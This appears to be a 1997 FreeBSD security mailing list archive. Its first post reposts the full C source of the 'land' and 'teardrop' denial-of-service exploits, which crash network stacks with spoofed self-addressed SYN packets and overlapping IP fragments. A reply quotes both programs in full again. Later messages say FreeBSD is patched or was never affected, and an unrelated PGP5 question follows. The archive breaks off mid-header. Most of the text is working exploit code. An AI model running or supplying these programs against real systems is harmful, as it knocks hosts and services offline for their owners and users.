From owner-freebsd-security Mon Dec 29 13:39:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA13482 for security-outgoing; Mon, 29 Dec 1997 13:39:54 -0800 (PST) (envelope-from owner-freebsd-security) Received: from transbay.net (mail.transbay.net [207.105.6.2]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id NAA13477; Mon, 29 Dec 1997 13:39:52 -0800 (PST) (envelope-from root@transbay.net) Received: (from root@localhost) by transbay.net (8.8.5/8.8.5) id NAA04641; Mon, 29 Dec 1997 13:40:10 -0800 (PST) Date: Mon, 29 Dec 1997 13:40:10 -0800 (PST) From: "UC Computer / Transbay.Net" Message-Id: <199712292140.NAA04641@transbay.net> To: bugs@freebsd.org, isp@freebsd.org Subject: Two sources for system-cracking tools Cc: security@freebsd.org Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Here are two files concerning breaking into or trashing systems. One of these, "land.c", says all versions of FreeBSD are susceptible to what it does. The other (teardrop) may/not also work (w/w/o firewall), but should be of interest anyway. I also have code to break in through INN < 1.6. All hail secure systems ... ******************************************************************************* (land.c) [ http://www.rootshell.com/ ] This test where againts the "land" attack. This is _NOT_ about "teardrop". BSDI 2.1 (vanilla) IS vulnerable BSDI 2.1 (K210-021,K210-022,K210-024) NOT vulnerable BSDI 3.0 NOT vulnerable Digital UNIX 4.0 NOT vulnerable FreeBSD 2.2.2-RELEASE IS vulnerable FreeBSD 2.2.5-RELEASE IS vulnerable FreeBSD 2.2.5-STABLE IS vulnerable FreeBSD 3.0-CURRENT IS vulnerable HP-UX 10.20 IS vulnerable IRIX 6.2 NOT vulnerable Linux 2.0.30 NOT vulnerable Linux 2.0.32 NOT vulnerable MacOS 8.0 IS vulnerable (TCP/IP stack crashed) NetBSD 1.2 IS vulnerable NeXTSTEP 3.0 IS vulnerable NeXTSTEp 3.1 IS vulnerable Novell 4.11 NOT vulnerable OpenBSD 2.1 IS vulnerable OpenBSD 2.2 (Oct31) NOT vulnerable SCO OpenServer 5.0.4 NOT vulnerable Solaris 2.5.1 IS vulnerable (conflicting reports) SunOS 4.1.4 IS vulnerable Windows 95 (vanilla) IS vulnerable Windows 95 + Winsock 2 + VIPUPD.EXE IS vulnerable Some misc stuff: Ascend Pipeline 50 rev 5.0Ap13 NOT vulnerable NCD X Terminals, NCDWare v3.2.1 IS vulnerable LaserJet Printer NOT vulnerable We got reports that applying the VTCPUPD update (originally the OOB attack update) when applied to Windows 95 running Winsock 2 fixes the problem. You may want to try it. You can download Vtcpupd.exe you http://support.microsoft.com/download/support/mslfiles/Vtcpupd.exe Thanks to Gonzo Granzeau for pointing out the Windows 95 possible fix. Thanks to everyone else (to many to mention). Date: Thu, 20 Nov 1997 19:40:19 -0500 Reply-To: m3lt Subject: new TCP/IP bug in win95 hi, i recently discovered a bug which freezes win95 boxes. here's how it works: send a spoofed packet with the SYN flag set from a host, on an open port (such as 113 or 139), setting as source the SAME host and port (ie: 10.0.0.1:139 to 10.0.0.1:139). this will cause the win95 machine to lock up. the piece of code included in this message does that, so... have fun! i haven't tested this bug on other platforms, i don't have the ressources. please feel free to do so. m3lt meltman@lagged.net --- snip snip ----------------------------------------------------------- /* land.c by m3lt, FLC crashes a win95 box */ #include #include #include #include #include #include #include #include #include struct pseudohdr { struct in_addr saddr; struct in_addr daddr; u_char zero; u_char protocol; u_short length; struct tcphdr tcpheader; }; u_short checksum(u_short * data,u_short length) { register long value; u_short i; for(i=0;i<(length>>1);i++) value+=data[i]; if((length&1)==1) value+=(data[i]<<8); value=(value&65535)+(value>>16); return(~value); } int main(int argc,char * * argv) { struct sockaddr_in sin; struct hostent * hoste; int sock; char buffer[40]; struct iphdr * ipheader=(struct iphdr *) buffer; struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr)); struct pseudohdr pseudoheader; fprintf(stderr,"land.c by m3lt, FLC\n"); if(argc<3) { fprintf(stderr,"usage: %s IP port\n",argv[0]); return(-1); } bzero(&sin,sizeof(struct sockaddr_in)); sin.sin_family=AF_INET; if((hoste=gethostbyname(argv[1]))!=NULL) bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length); else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1) { fprintf(stderr,"unknown host %s\n",argv[1]); return(-1); } if((sin.sin_port=htons(atoi(argv[2])))==0) { fprintf(stderr,"unknown port %s\n",argv[2]); return(-1); } if((sock=socket(AF_INET,SOCK_RAW,255))==-1) { fprintf(stderr,"couldn't allocate raw socket\n"); return(-1); } bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr)); ipheader->version=4; ipheader->ihl=sizeof(struct iphdr)/4; ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr)); ipheader->id=htons(0xF1C); ipheader->ttl=255; ipheader->protocol=IP_TCP; ipheader->saddr=sin.sin_addr.s_addr; ipheader->daddr=sin.sin_addr.s_addr; tcpheader->th_sport=sin.sin_port; tcpheader->th_dport=sin.sin_port; tcpheader->th_seq=htonl(0xF1C); tcpheader->th_flags=TH_SYN; tcpheader->th_off=sizeof(struct tcphdr)/4; tcpheader->th_win=htons(2048); bzero(&pseudoheader,12+sizeof(struct tcphdr)); pseudoheader.saddr.s_addr=sin.sin_addr.s_addr; pseudoheader.daddr.s_addr=sin.sin_addr.s_addr; pseudoheader.protocol=6; pseudoheader.length=htons(sizeof(struct tcphdr)); bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr)); tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr)); if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1) { fprintf(stderr,"couldn't send packet\n"); return(-1); } fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]); close(sock); return(0); } --- snip snip ----------------------------------------------------------- ******************************************************************************* (teardrop.c) /* * Copyright (c) 1997 route|daemon9 11.3.97 * * Linux/NT/95 Overlap frag bug exploit * * Exploits the overlapping IP fragment bug present in all Linux kernels and * NT 4.0 / Windows 95 (others?) * * Based off of: flip.c by klepto * Compiles on: Linux, *BSD* * * gcc -O2 teardrop.c -o teardrop * OR * gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING */ #include #include #include #include #include #include #include #include #include #include #include #ifdef STRANGE_BSD_BYTE_ORDERING_THING /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */ #define FIX(n) (n) #else /* OpenBSD 2.1, all Linux */ #define FIX(n) htons(n) #endif /* STRANGE_BSD_BYTE_ORDERING_THING */ #define IP_MF 0x2000 /* More IP fragment en route */ #define IPH 0x14 /* IP header size */ #define UDPH 0x8 /* UDP header size */ #define PADDING 0x1c /* datagram frame padding for first packet */ #define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */ #define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can * withstand maybe 5 or 10 sometimes... Experiment. */ void usage(u_char *); u_long name_resolve(u_char *); u_short in_cksum(u_short *, int); void send_frags(int, u_long, u_long, u_short, u_short); int main(int argc, char **argv) { int one = 1, count = 0, i, rip_sock; u_long src_ip = 0, dst_ip = 0; u_short src_prt = 0, dst_prt = 0; struct in_addr addr; fprintf(stderr, "teardrop route|daemon9\n\n"); if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("raw socket"); exit(1); } if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one)) < 0) { perror("IP_HDRINCL"); exit(1); } if (argc < 3) usage(argv[0]); if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2]))) { fprintf(stderr, "What the hell kind of IP address is that?\n"); exit(1); } while ((i = getopt(argc, argv, "s:t:n:")) != EOF) { switch (i) { case 's': /* source port (should be emphemeral) */ src_prt = (u_short)atoi(optarg); break; case 't': /* dest port (DNS, anyone?) */ dst_prt = (u_short)atoi(optarg); break; case 'n': /* number to send */ count = atoi(optarg); break; default : usage(argv[0]); break; /* NOTREACHED */ } } srandom((unsigned)(time((time_t)0))); if (!src_prt) src_prt = (random() % 0xffff); if (!dst_prt) dst_prt = (random() % 0xffff); if (!count) count = COUNT; fprintf(stderr, "Death on flaxen wings:\n"); addr.s_addr = src_ip; fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt); addr.s_addr = dst_ip; fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt); fprintf(stderr, " Amt: %5d\n", count); fprintf(stderr, "[ "); for (i = 0; i < count; i++) { send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt); fprintf(stderr, "b00m "); usleep(500); } fprintf(stderr, "]\n"); return (0); } /* * Send two IP fragments with pathological offsets. We use an implementation * independent way of assembling network packets that does not rely on any of * the diverse O/S specific nomenclature hinderances (well, linux vs. BSD). */ void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt, u_short dst_prt) { u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */ u_char byte; /* a byte */ struct sockaddr_in sin; /* socket protocol structure */ sin.sin_family = AF_INET; sin.sin_port = src_prt; sin.sin_addr.s_addr = dst_ip; /* * Grab some memory for our packet, align p_ptr to point at the beginning * of our packet, and then fill it with zeros. */ packet = (u_char *)malloc(IPH + UDPH + PADDING); p_ptr = packet; bzero((u_char *)p_ptr, IPH + UDPH + PADDING); byte = 0x45; /* IP version and header length */ memcpy(p_ptr, &byte, sizeof(u_char)); p_ptr += 2; /* IP TOS (skipped) */ *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */ p_ptr += 2; *((u_short *)p_ptr) = htons(242); /* IP id */ p_ptr += 2; *((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */ p_ptr += 2; *((u_short *)p_ptr) = 0x40; /* IP TTL */ byte = IPPROTO_UDP; memcpy(p_ptr + 1, &byte, sizeof(u_char)); p_ptr += 4; /* IP checksum filled in by kernel */ *((u_long *)p_ptr) = src_ip; /* IP source address */ p_ptr += 4; *((u_long *)p_ptr) = dst_ip; /* IP destination address */ p_ptr += 4; *((u_short *)p_ptr) = htons(src_prt); /* UDP source port */ p_ptr += 2; *((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */ p_ptr += 2; *((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */ if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) { perror("\nsendto"); free(packet); exit(1); } /* We set the fragment offset to be inside of the previous packet's * payload (it overlaps inside the previous packet) but do not include * enough payload to cover complete the datagram. Just the header will * do, but to crash NT/95 machines, a bit larger of packet seems to work * better. */ p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */ *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1); p_ptr += 4; /* IP offset is 6 bytes into the header */ *((u_short *)p_ptr) = FIX(MAGIC); if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) { perror("\nsendto"); free(packet); exit(1); } free(packet); } u_long name_resolve(u_char *host_name) { struct in_addr addr; struct hostent *host_ent; if ((addr.s_addr = inet_addr(host_name)) == -1) { if (!(host_ent = gethostbyname(host_name))) return (0); bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length); } return (addr.s_addr); } void usage(u_char *name) { fprintf(stderr, "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n", name); exit(0); } ******************************************************************************* From owner-freebsd-security Mon Dec 29 15:22:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA22260 for security-outgoing; Mon, 29 Dec 1997 15:22:56 -0800 (PST) (envelope-from owner-freebsd-security) Received: from mercury.acs.unt.edu (mercury.acs.unt.edu [129.120.1.1]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA22245 for ; Mon, 29 Dec 1997 15:22:46 -0800 (PST) (envelope-from john@www.cas.unt.edu) Received: from www.cas.unt.edu (www.cas.unt.edu [129.120.3.150]) by mercury.acs.unt.edu (8.8.8/8.8.8) with ESMTP id RAA22360; Mon, 29 Dec 1997 17:22:30 -0600 (CST) Received: (from john@localhost) by www.cas.unt.edu (8.8.7/8.6.9) id RAA12571; Mon, 29 Dec 1997 17:21:44 -0600 (CST) From: john Message-Id: <199712292321.RAA12571@www.cas.unt.edu> Subject: Re: Two sources for system-cracking tools To: root@transbay.net (UC Computer / Transbay.Net) Date: Mon, 29 Dec 1997 17:21:44 -0600 (CST) Cc: freebsd-security@freebsd.org In-Reply-To: <199712292140.NAA04641@transbay.net> from "UC Computer / Transbay.Net" at Dec 29, 97 01:40:10 pm X-Mailer: ELM [version 2.4 PL25 PGP3 *ALPHA*] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk 2.2.5-Stable and current were fixed as of Dec 2, 1997. > misc stuff deleted here about land and teardrop attacks. > All hail secure systems ... > > FreeBSD 2.2.5-STABLE IS vulnerable > FreeBSD 3.0-CURRENT IS vulnerable >From http://www.freebsd.org/newsflash.html 2-Dec-97 The "FOOF" bug has now been fixed in our 3.0-current and 2.2-stable branches and can either be incorporated by using the CVSup utility, as described below for the LAND attack fix From owner-freebsd-security Mon Dec 29 15:45:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA24792 for security-outgoing; Mon, 29 Dec 1997 15:45:58 -0800 (PST) (envelope-from owner-freebsd-security) Received: from bsd.dialup.bestweb.net (geniusj@bsd.dialup.bestweb.net [209.94.111.13]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA24689; Mon, 29 Dec 1997 15:45:11 -0800 (PST) (envelope-from geniusj@bsd.dialup.bestweb.net) Received: (from geniusj@localhost) by bsd.dialup.bestweb.net (8.8.8/8.8.3) id NAA06278; Mon, 29 Dec 1997 13:45:17 -0500 (EST) Date: Mon, 29 Dec 1997 13:45:16 -0500 (EST) From: Wut!? To: "UC Computer / Transbay.Net" cc: bugs@freebsd.org, isp@freebsd.org, security@freebsd.org Subject: Re: Two sources for system-cracking tools In-Reply-To: <199712292140.NAA04641@transbay.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk That is a very old bug, in fact, I have tried the land bug on myself, and had other people try it on me. It doesn't affect anything.. I tried with ipfw off too . Teardrop DOES NOT work on FreeBSD and as far as I know wouldn't work on any system past 2.1.0, just a guess.. But I know teardrop doesn't work on 2.1.6+.. Well thats my pointless information for the day.. ------------------------------------------------------------------------------- geniusj or root@bsd.dialup.bestweb.net http://vlife.simplenet.com ------------------------------------------------------------------------------- On Mon, 29 Dec 1997, UC Computer / Transbay.Net wrote: > Here are two files concerning breaking into or trashing systems. One of these, > "land.c", says all versions of FreeBSD are susceptible to what it does. The > other (teardrop) may/not also work (w/w/o firewall), but should be of interest > anyway. I also have code to break in through INN < 1.6. > > All hail secure systems ... > > ******************************************************************************* > (land.c) > > [ http://www.rootshell.com/ ] > > This test where againts the "land" attack. This is _NOT_ about "teardrop". > > BSDI 2.1 (vanilla) IS vulnerable > BSDI 2.1 (K210-021,K210-022,K210-024) NOT vulnerable > BSDI 3.0 NOT vulnerable > Digital UNIX 4.0 NOT vulnerable > FreeBSD 2.2.2-RELEASE IS vulnerable > FreeBSD 2.2.5-RELEASE IS vulnerable > FreeBSD 2.2.5-STABLE IS vulnerable > FreeBSD 3.0-CURRENT IS vulnerable > HP-UX 10.20 IS vulnerable > IRIX 6.2 NOT vulnerable > Linux 2.0.30 NOT vulnerable > Linux 2.0.32 NOT vulnerable > MacOS 8.0 IS vulnerable (TCP/IP stack crashed) > NetBSD 1.2 IS vulnerable > NeXTSTEP 3.0 IS vulnerable > NeXTSTEp 3.1 IS vulnerable > Novell 4.11 NOT vulnerable > OpenBSD 2.1 IS vulnerable > OpenBSD 2.2 (Oct31) NOT vulnerable > SCO OpenServer 5.0.4 NOT vulnerable > Solaris 2.5.1 IS vulnerable (conflicting reports) > SunOS 4.1.4 IS vulnerable > Windows 95 (vanilla) IS vulnerable > Windows 95 + Winsock 2 + VIPUPD.EXE IS vulnerable > > Some misc stuff: > > Ascend Pipeline 50 rev 5.0Ap13 NOT vulnerable > NCD X Terminals, NCDWare v3.2.1 IS vulnerable > LaserJet Printer NOT vulnerable > > We got reports that applying the VTCPUPD update (originally the OOB attack > update) when applied to Windows 95 running Winsock 2 fixes the problem. > You may want to try it. You can download Vtcpupd.exe you > > http://support.microsoft.com/download/support/mslfiles/Vtcpupd.exe > > Thanks to Gonzo Granzeau for pointing > out the Windows 95 possible fix. Thanks to everyone else (to many to > mention). > > Date: Thu, 20 Nov 1997 19:40:19 -0500 > Reply-To: m3lt > Subject: new TCP/IP bug in win95 > > hi, > > i recently discovered a bug which freezes win95 boxes. here's how > it works: send a spoofed packet with the SYN flag set from a host, on an open > port (such as 113 or 139), setting as source the SAME host and port > (ie: 10.0.0.1:139 to 10.0.0.1:139). this will cause the win95 machine to lock > up. > > the piece of code included in this message does that, so... have fun! > > i haven't tested this bug on other platforms, i don't have the > ressources. please feel free to do so. > > m3lt > meltman@lagged.net > > --- snip snip ----------------------------------------------------------- > > /* land.c by m3lt, FLC > crashes a win95 box */ > > #include > #include > #include > #include > #include > #include > #include > #include > #include > > struct pseudohdr > { > struct in_addr saddr; > struct in_addr daddr; > u_char zero; > u_char protocol; > u_short length; > struct tcphdr tcpheader; > }; > > u_short checksum(u_short * data,u_short length) > { > register long value; > u_short i; > > for(i=0;i<(length>>1);i++) > value+=data[i]; > > if((length&1)==1) > value+=(data[i]<<8); > > value=(value&65535)+(value>>16); > > return(~value); > } > > int main(int argc,char * * argv) > { > struct sockaddr_in sin; > struct hostent * hoste; > int sock; > char buffer[40]; > struct iphdr * ipheader=(struct iphdr *) buffer; > struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr)); > struct pseudohdr pseudoheader; > > fprintf(stderr,"land.c by m3lt, FLC\n"); > > if(argc<3) > { > fprintf(stderr,"usage: %s IP port\n",argv[0]); > return(-1); > } > > bzero(&sin,sizeof(struct sockaddr_in)); > sin.sin_family=AF_INET; > > if((hoste=gethostbyname(argv[1]))!=NULL) > bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length); > else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1) > { > fprintf(stderr,"unknown host %s\n",argv[1]); > return(-1); > } > > if((sin.sin_port=htons(atoi(argv[2])))==0) > { > fprintf(stderr,"unknown port %s\n",argv[2]); > return(-1); > } > > if((sock=socket(AF_INET,SOCK_RAW,255))==-1) > { > fprintf(stderr,"couldn't allocate raw socket\n"); > return(-1); > } > > bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr)); > ipheader->version=4; > ipheader->ihl=sizeof(struct iphdr)/4; > ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr)); > ipheader->id=htons(0xF1C); > ipheader->ttl=255; > ipheader->protocol=IP_TCP; > ipheader->saddr=sin.sin_addr.s_addr; > ipheader->daddr=sin.sin_addr.s_addr; > > tcpheader->th_sport=sin.sin_port; > tcpheader->th_dport=sin.sin_port; > tcpheader->th_seq=htonl(0xF1C); > tcpheader->th_flags=TH_SYN; > tcpheader->th_off=sizeof(struct tcphdr)/4; > tcpheader->th_win=htons(2048); > > bzero(&pseudoheader,12+sizeof(struct tcphdr)); > pseudoheader.saddr.s_addr=sin.sin_addr.s_addr; > pseudoheader.daddr.s_addr=sin.sin_addr.s_addr; > pseudoheader.protocol=6; > pseudoheader.length=htons(sizeof(struct tcphdr)); > bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr)); > tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr)); > > if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1) > { > fprintf(stderr,"couldn't send packet\n"); > return(-1); > } > > fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]); > > close(sock); > return(0); > } > > --- snip snip ----------------------------------------------------------- > ******************************************************************************* > (teardrop.c) > /* > * Copyright (c) 1997 route|daemon9 11.3.97 > * > * Linux/NT/95 Overlap frag bug exploit > * > * Exploits the overlapping IP fragment bug present in all Linux kernels and > * NT 4.0 / Windows 95 (others?) > * > * Based off of: flip.c by klepto > * Compiles on: Linux, *BSD* > * > * gcc -O2 teardrop.c -o teardrop > * OR > * gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING > */ > > #include > #include > #include > #include > #include > #include > #include > #include > #include > #include > #include > > #ifdef STRANGE_BSD_BYTE_ORDERING_THING > /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */ > #define FIX(n) (n) > #else /* OpenBSD 2.1, all Linux */ > #define FIX(n) htons(n) > #endif /* STRANGE_BSD_BYTE_ORDERING_THING */ > > #define IP_MF 0x2000 /* More IP fragment en route */ > #define IPH 0x14 /* IP header size */ > #define UDPH 0x8 /* UDP header size */ > #define PADDING 0x1c /* datagram frame padding for first packet */ > #define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */ > #define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can > * withstand maybe 5 or 10 sometimes... Experiment. > */ > void usage(u_char *); > u_long name_resolve(u_char *); > u_short in_cksum(u_short *, int); > void send_frags(int, u_long, u_long, u_short, u_short); > > int main(int argc, char **argv) > { > int one = 1, count = 0, i, rip_sock; > u_long src_ip = 0, dst_ip = 0; > u_short src_prt = 0, dst_prt = 0; > struct in_addr addr; > > fprintf(stderr, "teardrop route|daemon9\n\n"); > > if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) > { > perror("raw socket"); > exit(1); > } > if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one)) > < 0) > { > perror("IP_HDRINCL"); > exit(1); > } > if (argc < 3) usage(argv[0]); > if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2]))) > { > fprintf(stderr, "What the hell kind of IP address is that?\n"); > exit(1); > } > > while ((i = getopt(argc, argv, "s:t:n:")) != EOF) > { > switch (i) > { > case 's': /* source port (should be emphemeral) */ > src_prt = (u_short)atoi(optarg); > break; > case 't': /* dest port (DNS, anyone?) */ > dst_prt = (u_short)atoi(optarg); > break; > case 'n': /* number to send */ > count = atoi(optarg); > break; > default : > usage(argv[0]); > break; /* NOTREACHED */ > } > } > srandom((unsigned)(time((time_t)0))); > if (!src_prt) src_prt = (random() % 0xffff); > if (!dst_prt) dst_prt = (random() % 0xffff); > if (!count) count = COUNT; > > fprintf(stderr, "Death on flaxen wings:\n"); > addr.s_addr = src_ip; > fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt); > addr.s_addr = dst_ip; > fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt); > fprintf(stderr, " Amt: %5d\n", count); > fprintf(stderr, "[ "); > > for (i = 0; i < count; i++) > { > send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt); > fprintf(stderr, "b00m "); > usleep(500); > } > fprintf(stderr, "]\n"); > return (0); > } > > /* > * Send two IP fragments with pathological offsets. We use an implementation > * independent way of assembling network packets that does not rely on any of > * the diverse O/S specific nomenclature hinderances (well, linux vs. BSD). > */ > > void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt, > u_short dst_prt) > { > u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */ > u_char byte; /* a byte */ > struct sockaddr_in sin; /* socket protocol structure */ > > sin.sin_family = AF_INET; > sin.sin_port = src_prt; > sin.sin_addr.s_addr = dst_ip; > > /* > * Grab some memory for our packet, align p_ptr to point at the beginning > * of our packet, and then fill it with zeros. > */ > packet = (u_char *)malloc(IPH + UDPH + PADDING); > p_ptr = packet; > bzero((u_char *)p_ptr, IPH + UDPH + PADDING); > > byte = 0x45; /* IP version and header length */ > memcpy(p_ptr, &byte, sizeof(u_char)); > p_ptr += 2; /* IP TOS (skipped) */ > *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */ > p_ptr += 2; > *((u_short *)p_ptr) = htons(242); /* IP id */ > p_ptr += 2; > *((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */ > p_ptr += 2; > *((u_short *)p_ptr) = 0x40; /* IP TTL */ > byte = IPPROTO_UDP; > memcpy(p_ptr + 1, &byte, sizeof(u_char)); > p_ptr += 4; /* IP checksum filled in by kernel */ > *((u_long *)p_ptr) = src_ip; /* IP source address */ > p_ptr += 4; > *((u_long *)p_ptr) = dst_ip; /* IP destination address */ > p_ptr += 4; > *((u_short *)p_ptr) = htons(src_prt); /* UDP source port */ > p_ptr += 2; > *((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */ > p_ptr += 2; > *((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */ > > if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin, > sizeof(struct sockaddr)) == -1) > { > perror("\nsendto"); > free(packet); > exit(1); > } > > /* We set the fragment offset to be inside of the previous packet's > * payload (it overlaps inside the previous packet) but do not include > * enough payload to cover complete the datagram. Just the header will > * do, but to crash NT/95 machines, a bit larger of packet seems to work > * better. > */ > p_ptr = &packet[2]; /* IP total length is 2 bytes into the header */ > *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1); > p_ptr += 4; /* IP offset is 6 bytes into the header */ > *((u_short *)p_ptr) = FIX(MAGIC); > > if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin, > sizeof(struct sockaddr)) == -1) > { > perror("\nsendto"); > free(packet); > exit(1); > } > free(packet); > } > > u_long name_resolve(u_char *host_name) > { > struct in_addr addr; > struct hostent *host_ent; > > if ((addr.s_addr = inet_addr(host_name)) == -1) > { > if (!(host_ent = gethostbyname(host_name))) return (0); > bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length); > } > return (addr.s_addr); > } > > void usage(u_char *name) > { > fprintf(stderr, > "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n", > name); > exit(0); > } > > ******************************************************************************* > From owner-freebsd-security Mon Dec 29 20:45:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA19933 for security-outgoing; Mon, 29 Dec 1997 20:45:06 -0800 (PST) (envelope-from owner-freebsd-security) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA19928; Mon, 29 Dec 1997 20:45:02 -0800 (PST) (envelope-from jkh@time.cdrom.com) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.8/8.6.9) with ESMTP id UAA16263; Mon, 29 Dec 1997 20:45:02 -0800 (PST) To: "UC Computer / Transbay.Net" cc: bugs@FreeBSD.ORG, isp@FreeBSD.ORG, security@FreeBSD.ORG Subject: Re: Two sources for system-cracking tools In-reply-to: Your message of "Mon, 29 Dec 1997 13:40:10 PST." <199712292140.NAA04641@transbay.net> Date: Mon, 29 Dec 1997 20:45:02 -0800 Message-ID: <16260.883457102@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Here are two files concerning breaking into or trashing systems. One of these , > "land.c", says all versions of FreeBSD are susceptible to what it does. The > other (teardrop) may/not also work (w/w/o firewall), but should be of interes FreeBSD has been immune to LAND for some time (see the Newsflash page at http://www.freebsd.org) and was never vulnerable to teardrop at all - that was a purely Linux / Windows attack. Jordan From owner-freebsd-security Tue Dec 30 04:42:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA20149 for security-outgoing; Tue, 30 Dec 1997 04:42:40 -0800 (PST) (envelope-from owner-freebsd-security) Received: from silver.sms.fi (silver.sms.fi [194.111.122.17]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id EAA20131 for ; Tue, 30 Dec 1997 04:42:31 -0800 (PST) (envelope-from pete@silver.sms.fi) Received: (from pete@localhost) by silver.sms.fi (8.8.8/8.7.3) id OAA06685; Tue, 30 Dec 1997 14:42:27 +0200 (EET) Date: Tue, 30 Dec 1997 14:42:27 +0200 (EET) Message-Id: <199712301242.OAA06685@silver.sms.fi> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit From: Petri Helenius To: freebsd-security@freebsd.org Subject: PGP5.0 X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Anyone either adapted mailcrypt for PGP5 or done a wrapper to make pgp5 to accept 2.6.3-commandlines? It seems that the syntax is different enough not to be able just search-and-replace in the source. Pete From owner-freebsd-security Tue Dec 30 07:02:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id HAA27657 for security-outgoing; Tue, 30 Dec 1997 07:02:34 -0800 (PST) (envelope-from owner-freebsd-security) Received: from bsd.dialup.bestweb.net (geniusj@bsd.dialup.bestweb.net [209.94.111.13]) by hub.freebsd.org 